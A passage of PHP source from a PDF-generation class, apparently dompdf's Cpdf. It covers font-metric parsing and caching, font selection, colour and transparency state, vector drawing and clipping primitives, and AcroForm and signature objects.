            $cached_font_info = json_decode(file_get_contents($fontcache . '/' . $cache_name), true);
            if (!isset($cached_font_info['_version_']) || $cached_font_info['_version_'] != $this->fontcacheVersion) {
                $this->addMessage('openFont: font cache is out of date, regenerating');
            } else {
                $this->fonts[$font] = $cached_font_info;
            }
        }

        if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {
            // then rebuild the php_<font>.afm file from the <font>.afm file
            $this->addMessage("openFont: build php file from $dir/$metrics_name");
            $data = [];

            // 20 => 'space'
            $data['codeToName'] = [];

            // Since we're not going to enable Unicode for the core fonts we need to use a font-based
            // setting for Unicode support rather than a global setting.
            $data['isUnicode'] = (strtolower(substr($metrics_name, -3)) !== 'afm');

            $cidtogid = '';
            if ($data['isUnicode']) {
                $cidtogid = str_pad('', 256 * 256 * 2, "\x00");
            }

            $file = file("$dir/$metrics_name");

            foreach ($file as $rowA) {
                $row = trim($rowA);
                $pos = strpos($row, ' ');

                if ($pos) {
                    // then there must be some keyword
                    $key = substr($row, 0, $pos);
                    switch ($key) {
                        case 'FontName':
                        case 'FullName':
                        case 'FamilyName':
                        case 'PostScriptName':
                        case 'Weight':
                        case 'ItalicAngle':
                        case 'IsFixedPitch':
                        case 'CharacterSet':
                        case 'UnderlinePosition':
                        case 'UnderlineThickness':
                        case 'Version':
                        case 'EncodingScheme':
                        case 'CapHeight':
                        case 'XHeight':
                        case 'Ascender':
                        case 'Descender':
                        case 'StdHW':
                        case 'StdVW':
                        case 'StartCharMetrics':
                        case 'FontHeightOffset': // OAR - Added so we can offset the height calculation of a Windows font.  Otherwise it's too big.
                            $data[$key] = trim(substr($row, $pos));
                            break;

                        case 'FontBBox':
                            $data[$key] = explode(' ', trim(substr($row, $pos)));
                            break;

                        //C 39 ; WX 222 ; N quoteright ; B 53 463 157 718 ;
                        case 'C': // Found in AFM files
                            $bits = explode(';', trim($row));
                            $dtmp = ['C' => null, 'N' => null, 'WX' => null, 'B' => []];

                            foreach ($bits as $bit) {
                                $bits2 = explode(' ', trim($bit));
                                if (mb_strlen($bits2[0], '8bit') == 0) {
                                    continue;
                                }

                                if (count($bits2) > 2) {
                                    $dtmp[$bits2[0]] = [];
                                    for ($i = 1; $i < count($bits2); $i++) {
                                        $dtmp[$bits2[0]][] = $bits2[$i];
                                    }
                                } else {
                                    if (count($bits2) == 2) {
                                        $dtmp[$bits2[0]] = $bits2[1];
                                    }
                                }
                            }

                            $c = (int)$dtmp['C'];
                            $n = $dtmp['N'];
                            $width = floatval($dtmp['WX']);

                            if ($c >= 0) {
                                if (!ctype_xdigit($n) || $c != hexdec($n)) {
                                    $data['codeToName'][$c] = $n;
                                }
                                $data['C'][$c] = $width;
                            } elseif (isset($n)) {
                                $data['C'][$n] = $width;
                            }

                            if (!isset($data['MissingWidth']) && $c === -1 && $n === '.notdef') {
                                $data['MissingWidth'] = $width;
                            }

                            break;

                        // U 827 ; WX 0 ; N squaresubnosp ; G 675 ;
                        case 'U': // Found in UFM files
                            if (!$data['isUnicode']) {
                                break;
                            }

                            $bits = explode(';', trim($row));
                            $dtmp = ['G' => null, 'N' => null, 'U' => null, 'WX' => null];

                            foreach ($bits as $bit) {
                                $bits2 = explode(' ', trim($bit));
                                if (mb_strlen($bits2[0], '8bit') === 0) {
                                    continue;
                                }

                                if (count($bits2) > 2) {
                                    $dtmp[$bits2[0]] = [];
                                    for ($i = 1; $i < count($bits2); $i++) {
                                        $dtmp[$bits2[0]][] = $bits2[$i];
                                    }
                                } else {
                                    if (count($bits2) == 2) {
                                        $dtmp[$bits2[0]] = $bits2[1];
                                    }
                                }
                            }

                            $c = (int)$dtmp['U'];
                            $n = $dtmp['N'];
                            $glyph = $dtmp['G'];
                            $width = floatval($dtmp['WX']);

                            if ($c >= 0) {
                                // Set values in CID to GID map
                                if ($c >= 0 && $c < 0xFFFF && $glyph) {
                                    $cidtogid[$c * 2] = chr($glyph >> 8);
                                    $cidtogid[$c * 2 + 1] = chr($glyph & 0xFF);
                                }

                                if (!ctype_xdigit($n) || $c != hexdec($n)) {
                                    $data['codeToName'][$c] = $n;
                                }
                                $data['C'][$c] = $width;
                            } elseif (isset($n)) {
                                $data['C'][$n] = $width;
                            }

                            if (!isset($data['MissingWidth']) && $c === -1 && $n === '.notdef') {
                                $data['MissingWidth'] = $width;
                            }

                            break;

                        case 'KPX':
                            break; // don't include them as they are not used yet
                            //KPX Adieresis yacute -40
                            /*$bits = explode(' ', trim($row));
                            $data['KPX'][$bits[1]][$bits[2]] = $bits[3];
                            break;*/
                    }
                }
            }

            if ($this->compressionReady && $this->options['compression']) {
                // then implement ZLIB based compression on CIDtoGID string
                $data['CIDtoGID_Compressed'] = true;
                $cidtogid = gzcompress($cidtogid, 6);
            }
            $data['CIDtoGID'] = base64_encode($cidtogid);
            $data['_version_'] = $this->fontcacheVersion;
            $this->fonts[$font] = $data;

            //Because of potential trouble with php safe mode, expect that the folder already exists.
            //If not existing, this will hit performance because of missing cached results.
            if (is_dir($fontcache) && is_writable($fontcache)) {
                file_put_contents("$fontcache/$cache_name", json_encode($data, JSON_PRETTY_PRINT));
            }
            $data = null;
        }

        if (!isset($this->fonts[$font])) {
            $this->addMessage("openFont: no font file found for $font. Do you need to run load_font.php?");
        }
    }

    /**
     * if the font is not loaded then load it and make the required object
     * else just make it the current font
     * the encoding array can contain 'encoding'=> 'none','WinAnsiEncoding','MacRomanEncoding' or 'MacExpertEncoding'
     * note that encoding='none' will need to be used for symbolic fonts
     * and 'differences' => an array of mappings between numbers 0->255 and character names.
     *
     * @param string $fontName
     * @param string $encoding
     * @param bool $set
     * @param bool $isSubsetting
     * @return int
     * @throws FontNotFoundException
     */
    function selectFont($fontName, $encoding = '', $set = true, $isSubsetting = true)
    {
        if ($fontName === null || $fontName === '') {
            return $this->currentFontNum;
        }

        $ext = substr($fontName, -4);
        if ($ext === '.afm' || $ext === '.ufm') {
            $fontName = substr($fontName, 0, mb_strlen($fontName) - 4);
        }

        if (!isset($this->fonts[$fontName])) {
            $this->addMessage("selectFont: selecting - $fontName - $encoding, $set");

            // load the file
            $this->openFont($fontName);

            if (isset($this->fonts[$fontName])) {
                $this->numObj++;
                $this->numFonts++;

                $font = &$this->fonts[$fontName];

                $name = basename($fontName);
                $options = ['name' => $name, 'fontFileName' => $fontName, 'isSubsetting' => $isSubsetting];

                if (is_array($encoding)) {
                    // then encoding and differences might be set
                    if (isset($encoding['encoding'])) {
                        $options['encoding'] = $encoding['encoding'];
                    }

                    if (isset($encoding['differences'])) {
                        $options['differences'] = $encoding['differences'];
                    }
                } else {
                    if (mb_strlen($encoding, '8bit')) {
                        // then perhaps only the encoding has been set
                        $options['encoding'] = $encoding;
                    }
                }

                $this->o_font($this->numObj, 'new', $options);

                if (file_exists("$fontName.ttf")) {
                    $fileSuffix = 'ttf';
                } elseif (file_exists("$fontName.TTF")) {
                    $fileSuffix = 'TTF';
                } elseif (file_exists("$fontName.pfb")) {
                    $fileSuffix = 'pfb';
                } elseif (file_exists("$fontName.PFB")) {
                    $fileSuffix = 'PFB';
                } else {
                    $fileSuffix = '';
                }

                $font['fileSuffix'] = $fileSuffix;

                $font['fontNum'] = $this->numFonts;
                $font['isSubsetting'] = $isSubsetting && $font['isUnicode'] && strtolower($fileSuffix) === 'ttf';

                // also set the differences here, note that this means that these will take effect only the
                //first time that a font is selected, else they are ignored
                if (isset($options['differences'])) {
                    $font['differences'] = $options['differences'];
                }
            }
        }

        if ($set && isset($this->fonts[$fontName])) {
            // so if for some reason the font was not set in the last one then it will not be selected
            $this->currentBaseFont = $fontName;

            // the next lines mean that if a new font is selected, then the current text state will be
            // applied to it as well.
            $this->currentFont = $this->currentBaseFont;
            $this->currentFontNum = $this->fonts[$this->currentFont]['fontNum'];
        }

        return $this->currentFontNum;
    }

    /**
     * sets up the current font, based on the font families, and the current text state
     * note that this system is quite flexible, a bold-italic font can be completely different to a
     * italic-bold font, and even bold-bold will have to be defined within the family to have meaning
     * This function is to be called whenever the currentTextState is changed, it will update
     * the currentFont setting to whatever the appropriate family one is.
     * If the user calls selectFont themselves then that will reset the currentBaseFont, and the currentFont
     * This function will change the currentFont to whatever it should be, but will not change the
     * currentBaseFont.
     */
    private function setCurrentFont()
    {
        //   if (strlen($this->currentBaseFont) == 0){
        //     // then assume an initial font
        //     $this->selectFont($this->defaultFont);
        //   }
        //   $cf = substr($this->currentBaseFont,strrpos($this->currentBaseFont,'/')+1);
        //   if (strlen($this->currentTextState)
        //     && isset($this->fontFamilies[$cf])
        //       && isset($this->fontFamilies[$cf][$this->currentTextState])){
        //     // then we are in some state or another
        //     // and this font has a family, and the current setting exists within it
        //     // select the font, then return it
        //     $nf = substr($this->currentBaseFont,0,strrpos($this->currentBaseFont,'/')+1).$this->fontFamilies[$cf][$this->currentTextState];
        //     $this->selectFont($nf,'',0);
        //     $this->currentFont = $nf;
        //     $this->currentFontNum = $this->fonts[$nf]['fontNum'];
        //   } else {
        //     // the this font must not have the right family member for the current state
        //     // simply assume the base font
        $this->currentFont = $this->currentBaseFont;
        $this->currentFontNum = $this->fonts[$this->currentFont]['fontNum'];
        //  }
    }

    /**
     * function for the user to find out what the ID is of the first page that was created during
     * startup - useful if they wish to add something to it later.
     *
     * @return int
     */
    function getFirstPageId()
    {
        return $this->firstPageId;
    }

    /**
     * add content to the currently active object
     *
     * @param $content
     */
    private function addContent($content)
    {
        $this->objects[$this->currentContents]['c'] .= $content;
    }

    /**
     * sets the color for fill operations
     *
     * @param array $color
     * @param bool  $force
     */
    function setColor($color, $force = false)
    {
        $new_color = [$color[0], $color[1], $color[2], isset($color[3]) ? $color[3] : null];

        if (!$force && $this->currentColor == $new_color) {
            return;
        }

        if (isset($new_color[3])) {
            $this->currentColor = $new_color;
            $this->addContent(vsprintf("\n%.3F %.3F %.3F %.3F k", $this->currentColor));
        } else {
            if (isset($new_color[2])) {
                $this->currentColor = $new_color;
                $this->addContent(vsprintf("\n%.3F %.3F %.3F rg", $this->currentColor));
            }
        }
    }

    /**
     * sets the color for fill operations
     *
     * @param string $fillRule
     */
    function setFillRule($fillRule)
    {
        if (!in_array($fillRule, ["nonzero", "evenodd"])) {
            return;
        }

        $this->fillRule = $fillRule;
    }

    /**
     * sets the color for stroke operations
     *
     * @param array $color
     * @param bool  $force
     */
    function setStrokeColor($color, $force = false)
    {
        $new_color = [$color[0], $color[1], $color[2], isset($color[3]) ? $color[3] : null];

        if (!$force && $this->currentStrokeColor == $new_color) {
            return;
        }

        if (isset($new_color[3])) {
            $this->currentStrokeColor = $new_color;
            $this->addContent(vsprintf("\n%.3F %.3F %.3F %.3F K", $this->currentStrokeColor));
        } else {
            if (isset($new_color[2])) {
                $this->currentStrokeColor = $new_color;
                $this->addContent(vsprintf("\n%.3F %.3F %.3F RG", $this->currentStrokeColor));
            }
        }
    }

    /**
     * Set the graphics state for compositions
     *
     * @param $parameters
     */
    function setGraphicsState($parameters)
    {
        // Create a new graphics state object if necessary
        if (($gstate = array_search($parameters, $this->gstates)) === false) {
            $this->numObj++;
            $this->o_extGState($this->numObj, 'new', $parameters);
            $gstate = $this->numStates;
            $this->gstates[$gstate] = $parameters;
        }
        $this->addContent("\n/GS$gstate gs");
    }

    /**
     * Set current blend mode & opacity for lines.
     *
     * Valid blend modes are:
     *
     * Normal, Multiply, Screen, Overlay, Darken, Lighten,
     * ColorDogde, ColorBurn, HardLight, SoftLight, Difference,
     * Exclusion
     *
     * @param string $mode    The blend mode to use
     * @param float  $opacity 0.0 fully transparent, 1.0 fully opaque
     */
    public function setLineTransparency(string $mode, float $opacity): void
    {
        static $blendModes = [
            "Normal",
            "Multiply",
            "Screen",
            "Overlay",
            "Darken",
            "Lighten",
            "ColorDogde",
            "ColorBurn",
            "HardLight",
            "SoftLight",
            "Difference",
            "Exclusion"
        ];

        if (!in_array($mode, $blendModes, true)) {
            $mode = "Normal";
        }

        $newState = [
            "mode"    => $mode,
            "opacity" => $opacity
        ];

        if ($newState === $this->currentLineTransparency) {
            return;
        }

        $this->currentLineTransparency = $newState;

        $options = [
            "BM" => "/$mode",
            "CA" => $opacity
        ];

        $this->setGraphicsState($options);
    }

    /**
     * Set current blend mode & opacity for filled objects.
     *
     * Valid blend modes are:
     *
     * Normal, Multiply, Screen, Overlay, Darken, Lighten,
     * ColorDogde, ColorBurn, HardLight, SoftLight, Difference,
     * Exclusion
     *
     * @param string $mode    The blend mode to use
     * @param float  $opacity 0.0 fully transparent, 1.0 fully opaque
     */
    public function setFillTransparency(string $mode, float $opacity): void
    {
        static $blendModes = [
            "Normal",
            "Multiply",
            "Screen",
            "Overlay",
            "Darken",
            "Lighten",
            "ColorDogde",
            "ColorBurn",
            "HardLight",
            "SoftLight",
            "Difference",
            "Exclusion"
        ];

        if (!in_array($mode, $blendModes, true)) {
            $mode = "Normal";
        }

        $newState = [
            "mode"    => $mode,
            "opacity" => $opacity
        ];

        if ($newState === $this->currentFillTransparency) {
            return;
        }

        $this->currentFillTransparency = $newState;

        $options = [
            "BM" => "/$mode",
            "ca" => $opacity,
        ];

        $this->setGraphicsState($options);
    }

    /**
     * draw a line from one set of coordinates to another
     *
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param bool  $stroke
     */
    function line($x1, $y1, $x2, $y2, $stroke = true)
    {
        $this->addContent(sprintf("\n%.3F %.3F m %.3F %.3F l", $x1, $y1, $x2, $y2));

        if ($stroke) {
            $this->addContent(' S');
        }
    }

    /**
     * draw a bezier curve based on 4 control points
     *
     * @param float $x0
     * @param float $y0
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param float $x3
     * @param float $y3
     */
    function curve($x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3)
    {
        // in the current line style, draw a bezier curve from (x0,y0) to (x3,y3) using the other two points
        // as the control points for the curve.
        $this->addContent(
            sprintf("\n%.3F %.3F m %.3F %.3F %.3F %.3F %.3F %.3F c S", $x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3)
        );
    }

    /**
     * draw a part of an ellipse
     *
     * @param float $x0
     * @param float $y0
     * @param float $astart
     * @param float $afinish
     * @param float $r1
     * @param float $r2
     * @param float $angle
     * @param int $nSeg
     */
    function partEllipse($x0, $y0, $astart, $afinish, $r1, $r2 = 0, $angle = 0, $nSeg = 8)
    {
        $this->ellipse($x0, $y0, $r1, $r2, $angle, $nSeg, $astart, $afinish, false);
    }

    /**
     * draw a filled ellipse
     *
     * @param float $x0
     * @param float $y0
     * @param float $r1
     * @param float $r2
     * @param float $angle
     * @param int $nSeg
     * @param float $astart
     * @param float $afinish
     */
    function filledEllipse($x0, $y0, $r1, $r2 = 0, $angle = 0, $nSeg = 8, $astart = 0, $afinish = 360)
    {
        $this->ellipse($x0, $y0, $r1, $r2, $angle, $nSeg, $astart, $afinish, true, true);
    }

    /**
     * @param float $x
     * @param float $y
     */
    function lineTo($x, $y)
    {
        $this->addContent(sprintf("\n%.3F %.3F l", $x, $y));
    }

    /**
     * @param float $x
     * @param float $y
     */
    function moveTo($x, $y)
    {
        $this->addContent(sprintf("\n%.3F %.3F m", $x, $y));
    }

    /**
     * draw a bezier curve based on 4 control points
     *
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param float $x3
     * @param float $y3
     */
    function curveTo($x1, $y1, $x2, $y2, $x3, $y3)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F %.3F %.3F c", $x1, $y1, $x2, $y2, $x3, $y3));
    }

    /**
     * draw a bezier curve based on 4 control points
     *
     * @param float $cpx
     * @param float $cpy
     * @param float $x
     * @param float $y
     */
    function quadTo($cpx, $cpy, $x, $y)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F v", $cpx, $cpy, $x, $y));
    }

    function closePath()
    {
        $this->addContent(' h');
    }

    function endPath()
    {
        $this->addContent(' n');
    }

    /**
     * draw an ellipse
     * note that the part and filled ellipse are just special cases of this function
     *
     * draws an ellipse in the current line style
     * centered at $x0,$y0, radii $r1,$r2
     * if $r2 is not set, then a circle is drawn
     * from $astart to $afinish, measured in degrees, running anti-clockwise from the right hand side of the ellipse.
     * nSeg is not allowed to be less than 2, as this will simply draw a line (and will even draw a
     * pretty crappy shape at 2, as we are approximating with bezier curves.
     *
     * @param float $x0
     * @param float $y0
     * @param float $r1
     * @param float $r2
     * @param float $angle
     * @param int   $nSeg
     * @param float $astart
     * @param float $afinish
     * @param bool  $close
     * @param bool  $fill
     * @param bool  $stroke
     * @param bool  $incomplete
     */
    function ellipse(
        $x0,
        $y0,
        $r1,
        $r2 = 0,
        $angle = 0,
        $nSeg = 8,
        $astart = 0,
        $afinish = 360,
        $close = true,
        $fill = false,
        $stroke = true,
        $incomplete = false
    ) {
        if ($r1 == 0) {
            return;
        }

        if ($r2 == 0) {
            $r2 = $r1;
        }

        if ($nSeg < 2) {
            $nSeg = 2;
        }

        $astart = deg2rad((float)$astart);
        $afinish = deg2rad((float)$afinish);
        $totalAngle = $afinish - $astart;

        $dt = $totalAngle / $nSeg;
        $dtm = $dt / 3;

        if ($angle != 0) {
            $a = -1 * deg2rad((float)$angle);

            $this->addContent(
                sprintf("\n q %.3F %.3F %.3F %.3F %.3F %.3F cm", cos($a), -sin($a), sin($a), cos($a), $x0, $y0)
            );

            $x0 = 0;
            $y0 = 0;
        }

        $t1 = $astart;
        $a0 = $x0 + $r1 * cos($t1);
        $b0 = $y0 + $r2 * sin($t1);
        $c0 = -$r1 * sin($t1);
        $d0 = $r2 * cos($t1);

        if (!$incomplete) {
            $this->addContent(sprintf("\n%.3F %.3F m ", $a0, $b0));
        }

        for ($i = 1; $i <= $nSeg; $i++) {
            // draw this bit of the total curve
            $t1 = $i * $dt + $astart;
            $a1 = $x0 + $r1 * cos($t1);
            $b1 = $y0 + $r2 * sin($t1);
            $c1 = -$r1 * sin($t1);
            $d1 = $r2 * cos($t1);

            $this->addContent(
                sprintf(
                    "\n%.3F %.3F %.3F %.3F %.3F %.3F c",
                    ($a0 + $c0 * $dtm),
                    ($b0 + $d0 * $dtm),
                    ($a1 - $c1 * $dtm),
                    ($b1 - $d1 * $dtm),
                    $a1,
                    $b1
                )
            );

            $a0 = $a1;
            $b0 = $b1;
            $c0 = $c1;
            $d0 = $d1;
        }

        if (!$incomplete) {
            if ($fill) {
                $this->addContent(' f');
            }

            if ($stroke) {
                if ($close) {
                    $this->addContent(' s'); // small 's' signifies closing the path as well
                } else {
                    $this->addContent(' S');
                }
            }
        }

        if ($angle != 0) {
            $this->addContent(' Q');
        }
    }

    /**
     * this sets the line drawing style.
     * width, is the thickness of the line in user units
     * cap is the type of cap to put on the line, values can be 'butt','round','square'
     *    where the diffference between 'square' and 'butt' is that 'square' projects a flat end past the
     *    end of the line.
     * join can be 'miter', 'round', 'bevel'
     * dash is an array which sets the dash pattern, is a series of length values, which are the lengths of the
     *   on and off dashes.
     *   (2) represents 2 on, 2 off, 2 on , 2 off ...
     *   (2,1) is 2 on, 1 off, 2 on, 1 off.. etc
     * phase is a modifier on the dash pattern which is used to shift the point at which the pattern starts.
     *
     * @param float  $width
     * @param string $cap
     * @param string $join
     * @param array  $dash
     * @param int    $phase
     */
    function setLineStyle($width = 1, $cap = '', $join = '', $dash = '', $phase = 0)
    {
        // this is quite inefficient in that it sets all the parameters whenever 1 is changed, but will fix another day
        $string = '';

        if ($width > 0) {
            $string .= "$width w";
        }

        $ca = ['butt' => 0, 'round' => 1, 'square' => 2];

        if (isset($ca[$cap])) {
            $string .= " $ca[$cap] J";
        }

        $ja = ['miter' => 0, 'round' => 1, 'bevel' => 2];

        if (isset($ja[$join])) {
            $string .= " $ja[$join] j";
        }

        if (is_array($dash)) {
            $string .= ' [ ' . implode(' ', $dash) . " ] $phase d";
        }

        if ($string === $this->currentLineStyle) {
            return;
        }

        $this->currentLineStyle = $string;
        $this->addContent("\n$string");
    }

    /**
     * draw a polygon, the syntax for this is similar to the GD polygon command
     *
     * @param float[] $p
     * @param bool    $fill
     */
    public function polygon(array $p, bool $fill = false): void
    {
        $this->addContent(sprintf("\n%.3F %.3F m ", $p[0], $p[1]));

        $n = count($p);
        for ($i = 2; $i < $n; $i = $i + 2) {
            $this->addContent(sprintf("%.3F %.3F l ", $p[$i], $p[$i + 1]));
        }

        if ($fill) {
            $this->addContent(' f');
        } else {
            $this->addContent(' S');
        }
    }

    /**
     * a filled rectangle, note that it is the width and height of the rectangle which are the secondary parameters, not
     * the coordinates of the upper-right corner
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function filledRectangle($x1, $y1, $width, $height)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re f", $x1, $y1, $width, $height));
    }

    /**
     * draw a rectangle, note that it is the width and height of the rectangle which are the secondary parameters, not
     * the coordinates of the upper-right corner
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function rectangle($x1, $y1, $width, $height)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re S", $x1, $y1, $width, $height));
    }

    /**
     * draw a rectangle, note that it is the width and height of the rectangle which are the secondary parameters, not
     * the coordinates of the upper-right corner
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function rect($x1, $y1, $width, $height)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re", $x1, $y1, $width, $height));
    }

    function stroke(bool $close = false)
    {
        $this->addContent("\n" . ($close ? "s" : "S"));
    }

    function fill()
    {
        $this->addContent("\nf" . ($this->fillRule === "evenodd" ? "*" : ""));
    }

    function fillStroke(bool $close = false)
    {
        $this->addContent("\n" . ($close ? "b" : "B") . ($this->fillRule === "evenodd" ? "*" : ""));
    }

    /**
     * @param string $subtype
     * @param integer $x
     * @param integer $y
     * @param integer $w
     * @param integer $h
     * @return int
     */
    function addXObject($subtype, $x, $y, $w, $h)
    {
        $id = ++$this->numObj;
        $this->o_xobject($id, 'new', ['Subtype' => $subtype, 'bbox' => [$x, $y, $w, $h]]);
        return $id;
    }

    /**
     * @param integer $numXObject
     * @param string $type
     * @param array $options
     */
    function setXObjectResource($numXObject, $type, $options)
    {
        if (in_array($type, ['procset', 'font', 'xObject'])) {
            $this->o_xobject($numXObject, $type, $options);
        }
    }

    /**
     * add signature
     *
     * $fieldSigId = $cpdf->addFormField(Cpdf::ACROFORM_FIELD_SIG, 'Signature1', 0, 0, 0, 0, 0);
     *
     * $signatureId = $cpdf->addSignature([
     *   'signcert' => file_get_contents('dompdf.crt'),
     *   'privkey' => file_get_contents('dompdf.key'),
     *   'password' => 'password',
     *   'name' => 'DomPDF DEMO',
     *   'location' => 'Home',
     *   'reason' => 'First Form',
     *   'contactinfo' => 'info'
     * ]);
     * $cpdf->setFormFieldValue($fieldSigId, "$signatureId 0 R");
     *
     * @param string $signcert
     * @param string $privkey
     * @param string $password
     * @param string|null $name
     * @param string|null $location
     * @param string|null $reason
     * @param string|null $contactinfo
     * @return int
     */
    function addSignature($signcert, $privkey, $password = '', $name = null, $location = null, $reason = null, $contactinfo = null) {
        $sigId = ++$this->numObj;
        $this->o_sig($sigId, 'new', [
          'SignCert' => $signcert,
          'PrivKey' => $privkey,
          'Password' => $password,
          'Name' => $name,
          'Location' => $location,
          'Reason' => $reason,
          'ContactInfo' => $contactinfo
        ]);

        return $sigId;
    }

    /**
     * add field to form
     *
     * @param string $type ACROFORM_FIELD_*
     * @param string $name
     * @param $x0
     * @param $y0
     * @param $x1
     * @param $y1
     * @param integer $ff Field Flag ACROFORM_FIELD_*_*
     * @param float $size
     * @param array $color
     * @return int
     */
    public function addFormField($type, $name, $x0, $y0, $x1, $y1, $ff = 0, $size = 10.0, $color = [0, 0, 0])
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $color = implode(' ', $color) . ' rg';

        $currentFontNum = $this->currentFontNum;
        $font = array_filter(
            $this->objects[$this->currentNode]['info']['fonts'],
            function ($item) use ($currentFontNum) { return $item['fontNum'] == $currentFontNum; }
        );

        $this->o_acroform($this->acroFormId, 'font',
          ['objNum' => $font[0]['objNum'], 'fontNum' => $font[0]['fontNum']]);

        $fieldId = ++$this->numObj;
        $this->o_field($fieldId, 'new', [
          'rect' => [$x0, $y0, $x1, $y1],
          'F' => 4,
          'FT' => "/$type",
          'T' => $name,
          'Ff' => $ff,
          'pageid' => $this->currentPage,
          'da' => "$color /F$this->currentFontNum " . sprintf('%.1F Tf ', $size)
        ]);

        return $fieldId;
    }

    /**
     * set Field value
     *
     * @param integer $numFieldObj
     * @param string $value
     */
    public function setFormFieldValue($numFieldObj, $value)
    {
        $this->o_field($numFieldObj, 'set', ['value' => $value]);
    }

    /**
     * set Field value (reference)
     *
     * @param integer $numFieldObj
     * @param integer $numObj Object number
     */
    public function setFormFieldRefValue($numFieldObj, $numObj)
    {
        $this->o_field($numFieldObj, 'set', ['refvalue' => $numObj]);
    }

    /**
     * set Field Appearanc (reference)
     *
     * @param integer $numFieldObj
     * @param integer $normalNumObj
     * @param integer|null $rolloverNumObj
     * @param integer|null $downNumObj
     */
    public function setFormFieldAppearance($numFieldObj, $normalNumObj, $rolloverNumObj = null, $downNumObj = null)
    {
        $appearance['N'] = $normalNumObj;

        if ($rolloverNumObj !== null) {
            $appearance['R'] = $rolloverNumObj;
        }

        if ($downNumObj !== null) {
            $appearance['D'] = $downNumObj;
        }

        $this->o_field($numFieldObj, 'set', ['appearance' => $appearance]);
    }

    /**
     * set Choice Field option values
     *
     * @param integer $numFieldObj
     * @param array $value
     */
    public function setFormFieldOpt($numFieldObj, $value)
    {
        $this->o_field($numFieldObj, 'set', ['options' => $value]);
    }

    /**
     * add form to document
     *
     * @param integer $sigFlags
     * @param boolean $needAppearances
     */
    public function addForm($sigFlags = 0, $needAppearances = false)
    {
        $this->acroFormId = ++$this->numObj;
        $this->o_acroform($this->acroFormId, 'new', [
          'NeedAppearances' => $needAppearances ? 'true' : 'false',
          'SigFlags' => $sigFlags
        ]);
    }

    /**
     * save the current graphic state
     */
    function save()
    {
        $this->addContent("\nq");
    }

    /**
     * restore the last graphic state
     */
    function restore()
    {
        // Reset color and transparency caches, as any changes to the graphics
        // state since saving will be discarded
        $this->currentColor = null;
        $this->currentStrokeColor = null;
        $this->currentLineStyle = '';
        $this->currentLineTransparency = null;
        $this->currentFillTransparency = null;
        $this->addContent("\nQ");
    }

    /**
     * draw a clipping rectangle, all the elements added after this will be clipped
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function clippingRectangle($x1, $y1, $width, $height)
    {
        $this->save();
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re W n", $x1, $y1, $width, $height));
    }

    /**
     * draw a clipping rounded rectangle, all the elements added after this will be clipped
     *
     * @param float $x1
     * @param float $y1
     * @param float $w
     * @param float $h
     * @param float $rTL
     * @param float $rTR
     * @param float $rBR
     * @param float $rBL
     */
    function clippingRectangleRounded($x1, $y1, $w, $h, $rTL, $rTR, $rBR, $rBL)
    {
        $this->save();

        // start: top edge, left end
        $this->addContent(sprintf("\n%.3F %.3F m ", $x1, $y1 - $rTL + $h));

        // line: bottom edge, left end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1, $y1 + $rBL));

        // curve: bottom-left corner
        $this->ellipse($x1 + $rBL, $y1 + $rBL, $rBL, 0, 0, 8, 180, 270, false, false, false, true);

        // line: right edge, bottom end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $w - $rBR, $y1));

        // curve: bottom-right corner
        $this->ellipse($x1 + $w - $rBR, $y1 + $rBR, $rBR, 0, 0, 8, 270, 360, false, false, false, true);

        // line: right edge, top end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $w, $y1 + $h - $rTR));

        // curve: bottom-right corner
        $this->ellipse($x1 + $w - $rTR, $y1 + $h - $rTR, $rTR, 0, 0, 8, 0, 90, false, false, false, true);

        // line: bottom edge, right end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $rTL, $y1 + $h));

        // curve: top-right corner
        $this->ellipse($x1 + $rTL, $y1 + $h - $rTL, $rTL, 0, 0, 8, 90, 180, false, false, false, true);

        // line: top edge, left end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $rBL, $y1));

        // Close & clip
        $this->addContent(" W n");
    }

    /**
     * draw a clipping polygon, the syntax for this is similar to the GD polygon command
     *
     * @param float[] $p
     */
    public function clippingPolygon(array $p): void
    {
        $this->save();

        $this->addContent(sprintf("\n%.3F %.3F m ", $p[0], $p[1]));

        $n = count($p);
        for ($i = 2; $i < $n; $i = $i + 2) {
            $this->addContent(sprintf("%.3F %.3F l ", $p[$i], $p[$i + 1]));
        }

        $this->addContent("W n");
    }

    /**
     * ends the last clipping shape
     */
    function clippingEnd()
    {
        $this->restore();
    }

    /**
     * scale
     *
     * @param float $s_x scaling factor for width as percent
     * @param float $s_y scaling factor for height as percent
     * @param float $x   Origin abscissa
     * @param float $y   Origin ordinate
     */
    function scale($s_x, $s_y, $x, $y)
    {
        $y = $this->currentPageSize["height"] - $y;

        $tm = [
            $s_x,
            0,
            0,
            $s_y,
            $x * (1 - $s_x),
            $y * (1 - $s_y)
        ];

        $this->transform($tm);
    }

    /**
     * translate
     *
     * @param float $t_x movement to the right
     * @param float $t_y movement to the bottom
     */
    function translate($t_x, $t_y)
    {
        $tm = [
            1,
            0,
            0,
            1,
            $t_x,
            -$t_y
        ];

        $this->transform($tm);
    }

    /**
     * rotate
     *
     * @param float $angle angle in degrees for counter-clockwise rotation
     * @param float $x     Origin abscissa
     * @param float $y     Origin ordinate
     */
    function rotate($angle, $x, $y)
    {
        $y = $this->currentPageSize["height"] - $y;

        $a = deg2rad($angle);
